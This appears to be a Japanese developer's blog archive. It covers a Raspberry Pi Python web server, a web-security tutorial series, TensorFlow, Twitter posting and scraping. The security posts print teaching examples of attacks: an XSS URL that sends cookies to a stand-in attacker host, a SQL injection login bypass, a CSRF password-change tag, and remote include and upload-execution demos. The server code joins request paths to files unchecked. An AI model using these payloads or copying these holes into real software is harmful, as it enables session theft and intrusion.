2019年8月31日土曜日

ラズパイ(Webサーバー・4)

前回は、Webサーバーで GET パラメータの取得まで作成しました。
今回は続きとして、POST のパラメータの受け取りの部分を作成します。
また、POST されるデータは、JavaScript から JSON 形式で
送られてくることを想定します。
そうすることで、Ajaxによるデータのやり取りがスマートに行えるようになります。
    def do_POST(self):
        # リクエスト取得
        content_len  = int(self.headers.get("content-length"))
        body = json.loads(self.rfile.read(content_len).decode("utf-8"))
        
        # レスポンス処理
        act = body["act"]
        if (act == "set"):
            xxxx
            xxxx
          
        self.send_response(200)
        self.send_header("Access-Control-Allow-Origin", "*")
        self.send_header("Content-type", "application/json;charset=utf-8")
        self.end_headers()
        ret_json = json.dumps(ret, sort_keys=False, indent=4, ensure_ascii=False)
        self.wfile.write(ret_json.encode("utf-8"))


となります。
次回は、この部分とやり取りを行うクライアント部分を
作っていきます。


https://www.filetalk.info/index.html

2019年8月30日金曜日

ラズパイ(Webサーバー・3)

前回は、Webサーバーの起動の定義まで、作成してみました。
今回は続きとして、GET のパラメータの受け取りの部分を作成します。
Webサーバーからは、独自のハンドラーを設定できるようにしたので、

#--------------------------------------------------------------------------
# HTTPリクエスト対応処理
#--------------------------------------------------------------------------
class MyHandler(s.BaseHTTPRequestHandler):
    def do_GET(self):
        if (self.path == "/"):
            self.path = "/index.html"
        try:
            send_reply = False
            if (self.path.endswith(".html")):
                mimetype = "text/html"
                send_reply = True
            if (self.path.endswith(".jpg")):
                mimetype = "image/jpg"
                send_reply = True
            if (self.path.endswith(".gif")):
                mimetype = "image/gif"
                send_reply = True
            if (self.path.endswith(".js")):
                mimetype = "application/javascript"
                send_reply = True
            if (self.path.endswith(".css")):
                mimetype = "text/css"
                send_reply = True
            
            if (send_reply == True):
                cur_dir = os.getcwd()           # カレントフォルダ取得
                logging.info(cur_dir)
                tar_file = cur_dir + self.path
                if (os.path.isfile(tar_file)):
                    f = open(tar_file)
                    txt = f.read()
                    f.close()
                    self.send_response(200)
                    self.send_header("Content-type", mimetype)
                    self.end_headers()
                    logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))
                    #self.wfile.write("GET request for {}" . format(self.path).encode("utf-8"))
                    
                    self.wfile.write(txt.encode("utf-8"))
            return
        
        except IOError:
            self.send_error(404, 'File Not Found: %s' % self.path)



となります。
ここもシンプルに、ルートにアクセスされた場合、index.html を設定して
ファイルを読み込んで、クライアントに渡すようにしてます。
カレントフォルダは、HTMLファイル類は別フォルダに、まとめて管理したいので
ルートフォルダを移動するようにしてます。
指定外のファイルは、読み込まないように調整します。
POST 処理については、次回...

https://www.filetalk.info/index.html

2019年8月29日木曜日

ラズパイ(Webサーバー・2)

前回、Python の http.server を実行してみました。
シンプルな動作(ページを表示するだけなど)ですと、
お手軽な手法と言えますが、クライアントから送られてきた情報を受け取り
データのやり取り考えるとこの手法で作ってみると、
バージョンにもよると思いますが、思うようにパラメータが受け取れない
現象が発生することとなります。

そこで、HTTPServer を利用しつつも、handler_class を作ることで、
GET や POST の動作を指定できる方法で構成してみます。

まず、Webサーバーの定義

import os
import sys
import http.server as s
import json
import logging

PORT = 8080

#--------------------------------------------------------------------------
# サーバ起動
#--------------------------------------------------------------------------
def run(server_class=s.HTTPServer, handler_class=MyHandler, port=PORT):
    logging.basicConfig(level=logging.INFO)
    server_address = ("", port)     # ("192.168.0.5", port) IPを指定した場合、IP外からアクセスが不能
    httpd = server_class(server_address, handler_class)
    logging.info("Starting httpd...\n")
    try:
        print("Starting server, use  to stop")
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    httpd.server_close()
    logging.info("Stopping httpd...\n")

if (__name__ == "__main__"):
    os.chdir(os.path.join(os.path.dirname(__file__), 'contents')) # カレントフォルダ設定
    if (len(sys.argv) == 2):
        run(port=int(sys.argv[1]))
    else:
        run()


起動時のパラメータとして、ポート番号が指定された場合、その番号で
起動するようにしています。(実行時に指定できるので便利ですね~)
GET や POST で受け取ったイベントの定義は、また次回...

https://www.filetalk.info/index.html

2019年8月28日水曜日

ラズパイ(Webサーバー・1)

こんな小さいのに何でもできちゃう、コンピュータ界の小さな巨人ともいう
べき存在の Raspberry Pi を扱っていきます。
ラズパイのOSには、Linuxに由来するものから、
最近では、WindowsIOTなども動作可能ですので、
それぞれの特徴に合わせてできることが色々あります。


基本的には、普段のアプリケーションはパソコンを使い、
ラズパイには、GPIOと呼ばれるプログラム制御できる外部端子があるので、
IOTなどで使う機械やセンサーの制御とかに用いているケースが
多いことだと思われます。

今回からは、軽量かつ軽快に動作させることを目標に、OSにRaspbianを使い
Pythonからネットワーク越しに制御できるような運用環境を想定した
管理プログラムのetcを試してみます。

初回は、ネットワーク環境で運用する場合、ディスプレイやキーボード等を
接続しないこととなるので、Webサーバーを構築して管理できるように
構築してみます。

ラズパイにおいても、CentOSなどと同様にApacheでWebサービスを稼働させる
こともできるのですが、ホームページでバリバリ運用するような
ものでもないので、できるだけ軽量にするため、PythonのWebサービスを
利用してみます。これですと、インストール等も基本的に必要ないですし、
ただ動かすだけですと簡単ですね。

コマンドとしましては、以下のように実行するだけで起動ができますね。
(起動だけは...)


  $ python -m http.server 8000

これで、このラズパイのIPにブラウザからアクセスするだけで表示ができるようになります。
ただ、如何にも機能が制限されてますので、PostやGet、Ajaxなので
Webサーバーとのやり取りを行おうとすると、非常に厄介な羽目になります。
この辺の対応は次回に続きます....。

https://www.filetalk.info/index.html

2019年8月27日火曜日

セキュリティー対策(12)

DoSアタックでは大量のデータやアクセスを送り付けて、サーバーや
ネットワークへ多大な負荷をかけることで、対応できなくするような
攻撃です。

ですので、サービスを提供している側のシステムからみれば、
多くのアクセスがあるというだけで、正常な動作を行っているため
見た目上は、問題ないということになってしまうところですね。
厄介なのは、ここで、正常な処理かもしれないアクセスをどうやって
不正攻撃と見分けるかということになります。

多くの場合、同一IPから多量のアクセスが行われることになるので、
この場合ですと、IPアドレスを指定して遮断することになります。
もっとも、ファイアウォールルーターや、UTMと呼ばれる監視装置が
あればアクセスを遮断してくれることも可能かと思われますが、
多くの場合、そこまでの機器をいれていることは少ないと思います。

そうなると、できるところから対策を行う必要があるのですが、
WebサーバーにApacheを用いている場合は、
.htaccess にIPを遮断する記述を行うことで、大きな効果を得ることができます。
これは、Webサーバーにつなぐ一歩手間での拒否が行われるので、地味ですが
大きな効力を得ることが可能となりますね。


 
  Deny from XXX.XXX.XXX.1
  Deny from XXX.XXX.XXX.2
https://www.filetalk.info/index.html

2019年8月26日月曜日

セキュリティー対策(11)

セッションハイジャック
Webページにおいては、ページ表示毎にセッションを作り、
このセッションのIDを使うことで、どのユーザーからのアクセスかをみわけたり
ログインなどの認証情報を保持しています。

このセッションIDは、ブラウザーのヘッダー情報を確認することで、
見ることができます。


 これを使って、サイト内にリンクを作成すると

  <a href="xxxx.php?PHPSESSID=u3qbjn6jahslu5f79qk3map972">ページの表示</a>


もし、他の人がこのセッションIDを使用したらどうでしょう?
ログインした人に成りすまして、色々な操作を行ってしまう
可能性が出てきてしまいます。
古いPHPを利用している場合など注意が必要ですね。

2019年8月23日金曜日

セキュリティー対策(10)

Script Insertion(インジェクション攻撃)
これが定番!基本中の基本

クライアントから送られてくる値を利用して表示する場合、
必ずエスケープをおこなってから表示しないと大変なことになります。

クライアントからIDを受け取って表示する場合として
  <?php
  
 if (isset($_GET['id'])) {
  $id = $_GET['id'];
  echo 'id:<input type="text" value="' . $id . '">';
 }

  ?>

 のような場合、通常ですと入力欄の中に表示されるもののはずが

http://localhost/blog/sani_1.php?id=aaa%22%3E%3Cinput%20type=%22text%22%20value=%22bbb

をリクエストすると
入力欄が2つになっちゃいます
これは、入力された内容がサニタイズされなかったため、
プログラムと認識されて、このようになってしまいました。
クライアントから送られてくるデータは、
どのようなものが来るか検討もつかないことを
常に考えながらコーディングすることが必要ですね。

https://www.filetalk.info/index.html

2019年8月22日木曜日

セキュリティー対策(9)

定番のSQLインジェクション
典型的な攻撃として、データベースに直接影響を与える最も大きな影響を
もたらす原因の一つとして、無害化されていないパラメータをそのまま利用することで
おこる攻撃ですね。

以下のようなサイトの場合、パスワードなしでもログインできるようにすることも簡単です

  <?php
   $ret = mysql_qury("SELECT * FROM user WHERE id='" . $id . '" AND pass='" . $pass . "'");

  ?>

以下のような感じのアクセスで回避出来ちゃいます。

http://aaaaa.co.jp/login.php?id=' UNION SELECT pass AS uid FROM user WHERE id='root'#

パスワード部分が、これで回避されるので、パスワードがわからなくても
ログインできちゃいますね。

' でコメント化して、必要な情報を結合して取得後、置き換えたものを表示して
# で以降をコメント化して無効にしてます

ちゃんとしたサニタイズと
対策は必須ですね。

https://www.filetalk.info/index.html

2019年8月21日水曜日

セキュリティー対策(8)

CSRF(クロス サイト リクエスト フォージェリ)とは、
別のスクリプトなどを送り付け、それを実行させて思わぬ動作を実行させることができる攻撃のことです。

特に厄介なのが、攻撃の仕込み方として、一見画像を表示するものであったり、
ページを切り替えるような動作なのにも関わらず、意図しない動作を
実行できてしまうところだと思われます。
(メールとかにも組み込めるので攻撃もしやすいですね)

例えば、htmlで画像を表示するタグである img タグは、画像の元であるパスを指定する
だけでなく、プログラムのURLなどを指定することができます。

通常のイメージタグだと
    <img src="car.jpg" />

プログラムからイメージを表示するタグでは
    <img src="http://aaa.co.jp/xxxx.php" />

パスに画像ファイル以外のものも指定できるって、すごいですよね。
アクセス解析用のカウンターの類は、この手法をつかっています。

仮にこんなページがあって、

  <?php
   $key = $_GET("key");
 $password = $_GET("password");
 if ($key == 1) mysql_query("UPDATE user SET password = '". $password . "'");

  ?>

以下をユーザーに仕込んで実行させると
<img src="http://aaa.co.jp/update.php?key=1&password=xxx" />

内容が変更されてしまいます。

このように、この手法を使うとページを見た人に、思わぬ動作を強いることができるようになります。

https://www.filetalk.info/index.html

2019年8月20日火曜日

セキュリティー対策(7)

そもそもの基本の基本
クライアント側に表示されるHTMLで作成されるものは、
必要な値をサーバーに送信するために、入力しやすいように
設定された条件のようなものになっています。

たとえば、以下のように文字数や入力の制限するコードがあります。

<html>
<body>
  数値型なので、数値しか入力されない?<br />
  <input type="number" name="val_number" /><br />
  文字列を最大4文字まで入力可能?<br />
  <input type="text" name="val_text" maxlength="4" /><br />
  半角英数字しか入力できない?<br />
  <input type="text" name="val_disabled" style="ime-mode: disabled" /><br />
  この入力欄の値は読み込み専用?<br />
  <input type="text" name="val_readonly" readonly="readonly" /><br />
  この入力欄の値は変更できない?<br />
  <input type="text" name="val_disabled" disabled="disabled" /><br />
  非表示の属性(ユーザーからは見えない値なので、変更されない?)<br />
  <input type="hidden" name="val_hidden" /><br />
</body>
</html>

ですが、どれも直接GETやPOSTされた時など、このコードの制限を
一切受けることなく自由な値がサーバー側へ送られてしまします。
ですので、その設定された条件で補正された、正しいデータが
必ず来る保障はないものなのです。

HTML側では、入力の補助。

サーバー側では、クライアントから送られてきた値が正常なものか
別途確認するコードが必要ですね。

https://www.filetalk.info/index.html

2019年8月19日月曜日

セキュリティー対策(6)

インクルート攻撃
ファイル読み込み元として、GETやPOSTの内容を利用してしまうと、
思わぬファイルが読み込まれて、作成者の意図しないページが
外部に表示されてしまうことがあります。
includeを使って別ページをロードさせているようなところは、ありませんか?

  <?php
  include $_GET['opt_file'];
  ?>


ここにこのページを読み込ませてみます。


  <?php
 echo "ファイルが実行されました。";
  ?>


という部分に、ページのURLを指定すると、


のように、ファイルが実行されて、別ファイルのスクリプトだった
「ファイルが実行されました。」が表示されてしまいますね。
外部から実行されないように、includeの使い方には注意が必要ですね。

https://www.filetalk.info/index.html

2019年8月17日土曜日

セキュリティー対策(5)

Directory Traversal(ディレクトリートラバーサル)
簡単なのに威力絶大!
ある文字で巡っていくだけで、××が...
なんてことにならないように対策することが大事ですね。


  <?php
   echo "見られちゃった";

  ?>

../ という文字列には、パスを一つ上の階層を表示するという意味があります。
これを使って、URLに付け加えてアクセスすることで、普段は
見ることができない隠しアドレスを表示することができます。






対策としましては、アドレスに不正な文字がある場合、
アクセスを除外したり、必要のないページに
アクセスできないように権限設定などをすることが大事ですね。




https://www.filetalk.info/index.html

2019年8月16日金曜日

セキュリティー対策(4)

ファイルアップロード攻撃
画像を投稿する等で、ファイルをアップロードするシステムでは、
場合によってはプログラムファイルがアップロードされてしまうと、そこまでのパスが分かれば
プログラムとして実行されてしまいます。

ファイルをアップロードするPHPプログラム

  <?php
   if (is_uploaded_file($_FILES['myfile']['tmp_name'])) {
  $file_nm = "data/" . basename($_FILES['myfile']['name']);
  echo $file_nm;
  if (move_uploaded_file($_FILES['myfile']['tmp_name'], $file_nm)){
   echo " up ok";
  }
 }
 
 
 header('Content-Type: text/html; charset=utf-8');

  ?>


プログラムをアップすると


  <?php
   echo "ファイルが実行されました。";

  ?>

アクセスすると実行することが、可能となってしまいます。



プログラムが実行され、文字列が出力されてしまいました。

アップロードしたファイルは、保存場所を知られないようにしたり、
ファイル名を変えたりする必要があります。
また、画像ファイルの場合は、アップロードされた画像をリサイズして
おくことも有効ですね。

https://www.filetalk.info/index.html

2019年8月9日金曜日

セキュリティー対策(3)

ヌルバイト攻撃
NULL(ヌル)という特別な文字列を使うことで、チェックをすり抜けてしまします。

プログラム上の変数でデータの値が無効であるとか、初期化されていない場合
NULLというものになっているのですが、
あえてNULLにしたい場合に、\0 や という文字列をつかうことができます。

対策を怠ると、これを入力欄等に渡すことによって、入力されていないのに
入力されたかのように振る舞うようになってしまいます。


  <?php
 if ($_GET['password'] == '') {
  echo 'パスワードを入力してください。';
 } else {
  echo '入力 OK';
  echo 'パスワードは、' . $_GET['password'] . 'です';
 }
  
  ?>






これは、パスワード欄にNULLを入れたようになってますが、
中身を表示すると、空なので設定されていないことになっている例です。

送られてきた値は、中身にNULLが含まれていないか確認することが必要ですね~。

https://www.filetalk.info/index.html

2019年8月8日木曜日

セキュリティー対策(2)

Webサイトを表示するだけで、乗っ取りってどういうことなのでしょう?
今回は、XSS(クロス・サイト・スクリプティング)についてです。

悪意のあるURLが送り付けられると、自分が入力したユーザー名などの
個人しか知りえないような情報が読みだされてしまします。

例:Webにログイン後、クッキーにユーザー名が設定されている場合

  <?php
   setcookie("username", "ぴろん");
 
 if (isset($_GET['id'])) echo $_GET['id'];

  ?>


ユーザー名は、ログインした人しか分からないはずなのに、
このページを表示していて、アドレスに
以下のようなスクリプトを含ませて、

http://localhost/blog/xss.php?id=<script>document.location='http://waruwaru.co.jp/?'+document.cookie;</script>
<script>document.location='http://waruwaru.co.jp/?'+document.cookie;</script>

urlencodeで、「<」等の文字列を変換して送り付けると...

http://localhost/blog/xss.php?id=%3Cscript%3Edocument.location%3D'http%3A%2F%2Fwaruwaru.co.jp%2F%3F'%2Bdocument.cookie%3B%3C%2Fscript%3E





このように、サイト内でしか知りえないパラメータの「username」が表示されてしまいました。(笑


スクリプトを使って、ユーザーから渡された値は、このようにエスケープするとコードは無害化されて
問題が無くなりますね。

  <?php
   function _hs($value) {
  $value = htmlspecialchars($value, ENT_QUOTES);
  return($value);
 }
 
 setcookie("username", "ぴろん");
 
 if (isset($_GET['id'])) echo _hs($_GET['id']);

  ?>

今度は、ただの文字列になりました。



シェルパラボ(システム開発・ソフトウェア作成業務請負)
https://www.chomolungma.biz/


2019年8月7日水曜日

セキュリティー対策(1)

Webサイトを作る際、忘れてはいけないのがセキュリティ。
作る効率や利便性の為だけに、犠牲にしている事はないですか?

Webサイトを構築する際のセキュリティって、ついつい後回しになりがちな
内容を考えてみたいと思います。
今回は、任意のファイルを読み込ませて実行させるインクルード攻撃について考察です。

  
    <?php

    include $_GET['file'];
  
   ?>

攻撃方法:
http://xxx.php?file=http://abc/xxx.php

とすることで、サイトxxxにサイトabcのファイルを
読み込ませて実行することができます。
外部からのファイルの読み込みは、避けたいものですね~。

https://www.filetalk.info/index.html

2019年8月6日火曜日

TenserFlow入門(2)

計算した結果は、時として大きな値や小さな値が混ざることがあります。
このようなデータが含まれていると、
導き出される答えのバランスが良くない偏った答えとなってしまいます。
そこで、利用するデータは、正規化が必要になってきます。(推奨されてます)

正規化の方法としては、
特徴の平均を減算して標準偏差で除算
したものとなりますので、前回の温度のデータの場合ですと
こんな感じになります。
前回の記事は、こちら https://pillon-pg.blogspot.com/2019/08/tensorflow.html

# 平均
mean = dfTemp.mean(axis=0)
# 標準偏差
std = dfTemp.std(axis=0)
# 特徴の平均を減算して標準偏差で除算
#train_data = (train_data - mean) / std

print(str(mean))
print(str(std))

print("end")


https://www.filetalk.info/index.html


2019年8月5日月曜日

TensorFlow入門(1)

AIと呼ばれる部分の成長において、
機械学習からディープラーニングが大きく発展するきっかけにもなった
今回から、GoogleのTensorFlowなどのツールを使ってみます。

このあたりのツールを使うにあたっては、学習のために大量のデータを
取り扱う必要があるため、データを整理する関数等も
色々ありますね。

サンプルで、気象庁から気温のデータを読み込んでみます。
以下からダウンロードができます。
http://www.data.jma.go.jp/gmd/risk/obsdl/index.php


ダウンロードしたCSVファイルは、頭にヘッダーとして、
ダウンロードした日付や列の説明の行がついてます。
そのままだと、データを利用するのに適さないので、
編集することになりますが、Excelなどを使わなくても、
pandasを使えば、簡単に必要データのみを抽出することができます。

CSVからデータ用にファイルを読み込む場合、以下のようになります。
    # CSVから読み込み(日付をインデックスで日付型、ヘッダーの6行を読み飛ばす)
    df = pd.read_csv('data.csv', index_col=0, parse_dates=True, 
                             skiprows=6, encoding='shift_jis', header=None)
    # 不要な列を削除
    df = df.drop([2, 3, 5, 6, 8, 9], axis=1)
    # 列名を設定
    df.columns = [
        'avg_temp',    # 平均気温
        'max_temp',    # 最高気温
        'min_temp'     # 最低
    ]
    print(df.head())   # 最初の5行を表示
    return df

これを実行すると、こんなイメージ


ソースだけで簡単に取得することができますね。

シェルパラボ(システム開発・ソフトウェア作成業務請負)
https://www.chomolungma.biz/

2019年8月3日土曜日

Twitterで画像を自動送信

Twitterでは様々なユーザーの様々な意見を収集または、発信できるツールとして
利用されてます。ここから機械学習用の情報を取得できれば、
言語辞書の成長もうなぎ登りのはず....。
そこで、ツイッターでできることを試してみようと思います。

今回は、前回文字列を自動で発信したものの別バージョンで
画像をツイートしてみようと思います。

ソースは前回の
https://pillon-pg.blogspot.com/2019/07/tmhoauthphptwitter-twitterlove.html
から流用し、画像をUPできるように改造します。
  // PHPでアップロードした画像をbase64エンコード
  $sUpdImgBase64 = base64_encode(file_get_contents($sImgTmpName));
  
  // パラメータの作成
  $aUpdImgParams = array('media_data' =>  $sUpdImgBase64);
  
  // base64エンコードした画像をtwitterに送信
  $iImgCode = $twObj->request( 'POST', "https://upload.twitter.com/1.1/media/upload.json", $aUpdImgParams, true, true);
  
  // media/upload.json の結果をjson文字列で受け取り配列に格納
  $aResUpload = json_decode($twObj->response["response"], true);
  
  // メディアIDの取得
  $iMediaId = $aResUpload['media_id'];
  
  // メディアIDとツイート文字列のパラメータを作成
  $aUptParams = array(
   'media_ids' =>  $iMediaId,  // 取得したmedia_id
   'status' =>  $_POST['tweet'] . " #Love #JavaScript #bot #PHP #node #PC"  // ツイート内容
  );
  
  // メディアIDとツイート文字列をTwitterに送信
  $iImgCode = $twObj->request( 'POST', "https://api.twitter.com/1.1/statuses/update.json", $aUptParams);

とします。




下のアドレス確認することができます。ボタンを押してツイートすることができます。
https://sherpa.5dx.org/bot/love.php
ツイート先は、下から確認してください。
https://twitter.com/PillonPg




手軽にどこでもファイル共有 FileTalk(5GB無料)
https://www.filetalk.info/index.html
https://www.filetalk.info/index.html

2019年8月2日金曜日

PHPでクロール・スクレイピング

データ取得の自動化ができれば、AI学習も迅速に対応できます。
ということで、今回はPHPを使ってWebからデータの自動取得を行います。

今までは、お手軽な file_get_contents がよく使われていましたが、
タイムアウト処理が不向きであったりや、なにかとセキュリティの向上で
利用できなくしているレンタルサーバーもあるので、curlを使ってみます。

例として、ヤフーのページを取得後、URLのみを抽出します。
 $url = "https://www.yahoo.co.jp/";
 $url = "https://weather.yahoo.co.jp/weather/jp/40/8210/40133.html";
 $ua = "Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13";
 //$ua = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36";
 
 $crl = curl_init();
 //curl_setopt($crl, CURLOPT_POST, true);
 //curl_setopt($crl, CURLOPT_POSTFIELDS, $param);
 curl_setopt($crl, CURLOPT_SSL_VERIFYPEER, false); // SSLのページはこれがないと読めない
 curl_setopt($crl, CURLOPT_URL, $url);
 curl_setopt($crl, CURLOPT_USERAGENT, $ua);
 curl_setopt($crl, CURLOPT_HEADER, false); // false=ヘッダー表示なし、true=ヘッダー表示あり
 curl_setopt($crl, CURLOPT_RETURNTRANSFER, true);
 curl_setopt($crl, CURLOPT_FRESH_CONNECT, true);
 curl_setopt($crl, CURLOPT_AUTOREFERER, true);
 curl_setopt($crl,CURLOPT_TIMEOUT, 3);  // タイムアウト(秒)
 $response = curl_exec($crl);
 $info = curl_getinfo($crl);
 $errorNo = curl_errno($crl);
 $code = curl_getinfo($crl, CURLINFO_HTTP_CODE);
 //echo $code;
 if ($errorNo === CURLE_OK) {
  $header_size = curl_getinfo($crl, CURLINFO_HEADER_SIZE);
  $header = substr($response, 0, $header_size); // headerだけ切り出し
  $body = substr($response, $header_size);  // bodyだけ切り出し
  
  //var_dump($response);
  //var_dump($info);
  
  //echo $header;
  //echo $body;
  
  // URLのみ抽出
  if (preg_match_all('(https?://[-_.!~*\'()a-zA-Z0-9;/?:@&=+$,%#]+)', $body, $result) !== false) {
   foreach ($result[0] as $value) {
    print $value . '
';
   }
  }
 }
 curl_close($crl);

抽出したURLがこちら。簡単にできますね。

シェルパラボ(システム開発・ソフトウェア作成業務請負)
https://www.chomolungma.biz/
https://www.filetalk.info/index.html
 

2019年8月1日木曜日

RPA(ロボティック・プロセス・オートメーション)でできる自動操作の世界

今回は、無料で使える SikuliX というRPAを使って、操作の自動化を試してみます。
SikuliX の良いところは、画像認識で画面の状態を判定して、操作をプログラムできるところです。

まずインストール
JAVAで動くのでJREが入っていない場合、ORACLEからJAVAをダウンロードしてインストールします。
(64ビット版が必要です)
https://www.oracle.com/technetwork/java/javase/downloads/jre8-downloads-2133155.html


以下のページから、
https://raiman.github.io/SikuliX1/downloads.html
The Jython interpreter 2.7.1 for python scripting (the default) と
Download the ready to use sikulix.jar (SikuliX IDE) をクリックしてダウンロードします。



次に、どこかにインストール先のフォルダを作成します
    例:(c:\PRA)
上のフォルダに、jython-standalone-2.7.1.jar と sikulix.jar を貼り付けます。
そして、sikulix.jar をダブルクリックします。
ダブルクリック後、jython-standalone-2.7.1.jar は、システムがファイルを自動で移動します。以後は、sikulix.jar をダブルクリックして起動できるようになります。

基本的な使い方
sikulix.jar をダブルクリックして起動し、コマンドを登録する形です。

最初におまじないとして、日本語が使えるように以下のコマンドを貼り付けます。
import sys
reload(sys)
sys.setdefaultencoding('utf-8')

指定した場所をクリックさせる場合
click()
と入力し、カッコの内側にカーソルを移動して、「スクリーンショットを撮る」をクリックすると、
実行したときに、画面の内容を認識して該当部分がクリックされるようになります。

文字列を入力する場合
paste("xxxxx")
と入力し、""の内側に入力させたい文字列を設定します。

試しに、FileTalkでチャットを自動入力するものを作ってみます。
手軽にどこでも FileTalk(5GB無料)
https://www.filetalk.info/index.html


ブラウザを起動して、メッセージが送信できました。

https://www.filetalk.info/index.html